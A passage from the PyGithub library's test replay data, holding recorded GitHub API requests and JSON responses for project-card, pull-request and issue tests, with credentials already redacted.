'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.067177'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DFA8:5F78:53826:C7559:5B711981')] [{"url":"https://api.github.com/projects/columns/cards/11779470","id":11779470,"node_id":"MDExOlByb2plY3RDYXJkMTE3Nzk0NzA=","note":"Note: first note added. This card has no corresponding issue or pull request.","archived":false,"creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-01T04:08:33Z","updated_at":"2018-08-01T04:08:33Z","column_url":"https://api.github.com/projects/columns/3138830"}] https GET api.github.com None /projects/columns/3138831/cards?archived_state=all {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 13 Aug 2018 05:39:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4966'), ('X-RateLimit-Reset', '1534141409'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"1f2154027a27c2b24b5ebc62a686678a"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.122778'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DFA9:5F71:1803F:413A2:5B711981')] [{"url":"https://api.github.com/projects/columns/cards/11780055","id":11780055,"node_id":"MDExOlByb2plY3RDYXJkMTE3ODAwNTU=","note":null,"archived":false,"creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-01T04:53:59Z","updated_at":"2018-08-01T04:54:16Z","column_url":"https://api.github.com/projects/columns/3138831","content_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/1"},{"url":"https://api.github.com/projects/columns/cards/12078706","id":12078706,"node_id":"MDExOlByb2plY3RDYXJkMTIwNzg3MDY=","note":null,"archived":false,"creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-13T04:46:29Z","updated_at":"2018-08-13T04:46:44Z","column_url":"https://api.github.com/projects/columns/3138831","content_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/2"},{"url":"https://api.github.com/projects/columns/cards/12079385","id":12079385,"node_id":"MDExOlByb2plY3RDYXJkMTIwNzkzODU=","note":"Test note","archived":false,"creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-13T05:36:13Z","updated_at":"2018-08-13T05:36:20Z","column_url":"https://api.github.com/projects/columns/3138831"}] https GET api.github.com None /projects/columns/3138832/cards?archived_state=all {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 13 Aug 2018 05:39:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4965'), ('X-RateLimit-Reset', '1534141409'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"d07e05df9d6ccede8df4f7bf63454aab"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.071735'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DFAA:5F7A:7E094:F6359:5B711982')] [{"url":"https://api.github.com/projects/columns/cards/11841716","id":11841716,"node_id":"MDExOlByb2plY3RDYXJkMTE4NDE3MTY=","note":"This note is Done.","archived":true,"creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-03T00:30:46Z","updated_at":"2018-08-03T00:31:17Z","column_url":"https://api.github.com/projects/columns/3138832"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectCard.testGetContent.txt0000644000175100001660000004651314756101563024101 0ustar00runnerdockerhttps GET api.github.com None /repos/bbi-yggy/PyGithub/pulls/1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 13 Aug 2018 20:46:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1534195928'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"79ec8dc6d53d5a66da6dbafa9cbf0628"'), ('Last-Modified', 'Thu, 09 Aug 2018 05:13:27 GMT'), ('X-OAuth-Scopes', 'read:org, read:user, repo, user:email'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.263844'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EDDE:528C:C859D:1042C8:5B71EE28')] {"url":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls/1","id":205308656,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA1MzA4NjU2","html_url":"https://github.com/bbi-yggy/PyGithub/pull/1","diff_url":"https://github.com/bbi-yggy/PyGithub/pull/1.diff","patch_url":"https://github.com/bbi-yggy/PyGithub/pull/1.patch","issue_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/1","number":1,"state":"closed","locked":false,"title":"Work in progress on support for GitHub projects API.","user":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"body":"Pull request moved to https://github.com/PyGithub/PyGithub/pull/854","created_at":"2018-08-01T04:53:48Z","updated_at":"2018-08-09T05:13:27Z","closed_at":"2018-08-09T05:13:27Z","merged_at":null,"merge_commit_sha":"047ac715c32a08ab83e43809a43592933badccfe","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls/1/commits","review_comments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls/1/comments","review_comment_url":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/1/comments","statuses_url":"https://api.github.com/repos/bbi-yggy/PyGithub/statuses/552d5213f9bd6ac3c51de782cbda72ef336a0ada","head":{"label":"bbi-yggy:dev.project-support","ref":"dev.project-support","sha":"552d5213f9bd6ac3c51de782cbda72ef336a0ada","user":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"repo":{"id":143089995,"node_id":"MDEwOlJlcG9zaXRvcnkxNDMwODk5OTU=","name":"PyGithub","full_name":"bbi-yggy/PyGithub","owner":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/bbi-yggy/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/bbi-yggy/PyGithub","forks_url":"https://api.github.com/repos/bbi-yggy/PyGithub/forks","keys_url":"https://api.github.com/repos/bbi-yggy/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bbi-yggy/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bbi-yggy/PyGithub/teams","hooks_url":"https://api.github.com/repos/bbi-yggy/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/events","assignees_url":"https://api.github.com/repos/bbi-yggy/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/bbi-yggy/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/bbi-yggy/PyGithub/tags","blobs_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bbi-yggy/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/bbi-yggy/PyGithub/languages","stargazers_url":"https://api.github.com/repos/bbi-yggy/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/bbi-yggy/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/bbi-yggy/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/bbi-yggy/PyGithub/subscription","commits_url":"https://api.github.com/repos/bbi-yggy/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/bbi-yggy/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/bbi-yggy/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bbi-yggy/PyGithub/merges","archive_url":"https://api.github.com/repos/bbi-yggy/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bbi-yggy/PyGithub/downloads","issues_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/bbi-yggy/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/bbi-yggy/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bbi-yggy/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/bbi-yggy/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/deployments","created_at":"2018-08-01T01:50:10Z","updated_at":"2018-08-01T05:11:35Z","pushed_at":"2018-08-13T19:19:24Z","git_url":"git://github.com/bbi-yggy/PyGithub.git","ssh_url":"git@github.com:bbi-yggy/PyGithub.git","clone_url":"https://github.com/bbi-yggy/PyGithub.git","svn_url":"https://github.com/bbi-yggy/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11292,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":1,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"base":{"label":"bbi-yggy:master","ref":"master","sha":"29d231517dec44314e81c691d7c4e398380414b1","user":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"repo":{"id":143089995,"node_id":"MDEwOlJlcG9zaXRvcnkxNDMwODk5OTU=","name":"PyGithub","full_name":"bbi-yggy/PyGithub","owner":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/bbi-yggy/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/bbi-yggy/PyGithub","forks_url":"https://api.github.com/repos/bbi-yggy/PyGithub/forks","keys_url":"https://api.github.com/repos/bbi-yggy/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bbi-yggy/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bbi-yggy/PyGithub/teams","hooks_url":"https://api.github.com/repos/bbi-yggy/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/events","assignees_url":"https://api.github.com/repos/bbi-yggy/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/bbi-yggy/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/bbi-yggy/PyGithub/tags","blobs_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bbi-yggy/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/bbi-yggy/PyGithub/languages","stargazers_url":"https://api.github.com/repos/bbi-yggy/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/bbi-yggy/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/bbi-yggy/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/bbi-yggy/PyGithub/subscription","commits_url":"https://api.github.com/repos/bbi-yggy/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/bbi-yggy/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/bbi-yggy/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bbi-yggy/PyGithub/merges","archive_url":"https://api.github.com/repos/bbi-yggy/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bbi-yggy/PyGithub/downloads","issues_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/bbi-yggy/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/bbi-yggy/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bbi-yggy/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/bbi-yggy/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/deployments","created_at":"2018-08-01T01:50:10Z","updated_at":"2018-08-01T05:11:35Z","pushed_at":"2018-08-13T19:19:24Z","git_url":"git://github.com/bbi-yggy/PyGithub.git","ssh_url":"git@github.com:bbi-yggy/PyGithub.git","clone_url":"https://github.com/bbi-yggy/PyGithub.git","svn_url":"https://github.com/bbi-yggy/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11292,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":1,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls/1"},"html":{"href":"https://github.com/bbi-yggy/PyGithub/pull/1"},"issue":{"href":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/1"},"comments":{"href":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/1/comments"},"review_comments":{"href":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls/1/comments"},"review_comment":{"href":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls/1/commits"},"statuses":{"href":"https://api.github.com/repos/bbi-yggy/PyGithub/statuses/552d5213f9bd6ac3c51de782cbda72ef336a0ada"}},"author_association":"OWNER","merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"blocked","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":9,"additions":570,"deletions":2,"changed_files":12} https GET api.github.com None /repos/bbi-yggy/PyGithub/issues/2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 13 Aug 2018 20:46:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1534195928'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"4539c5ec1d602de328c3b20478b62ed1"'), ('Last-Modified', 'Mon, 13 Aug 2018 04:46:29 GMT'), ('X-OAuth-Scopes', 'read:org, read:user, repo, user:email'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.052249'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EDE7:528C:C85BD:1042F1:5B71EE28')] {"url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/2","repository_url":"https://api.github.com/repos/bbi-yggy/PyGithub","labels_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/2/labels{/name}","comments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/2/comments","events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/2/events","html_url":"https://github.com/bbi-yggy/PyGithub/issues/2","id":349886358,"node_id":"MDU6SXNzdWUzNDk4ODYzNTg=","number":2,"title":"Test issue","user":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-08-13T04:46:29Z","updated_at":"2018-08-13T04:46:29Z","closed_at":null,"author_association":"OWNER","body":"To be added to Test Project as a card.","closed_by":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectCard.testMove.txt0000644000175100001660000000233414756101563022726 0ustar00runnerdockerhttps POST api.github.com None /projects/columns/cards/11780055/moves {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} {"column_id": 3138832, "position": "top"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4982'), ('content-length', '2'), ('server', 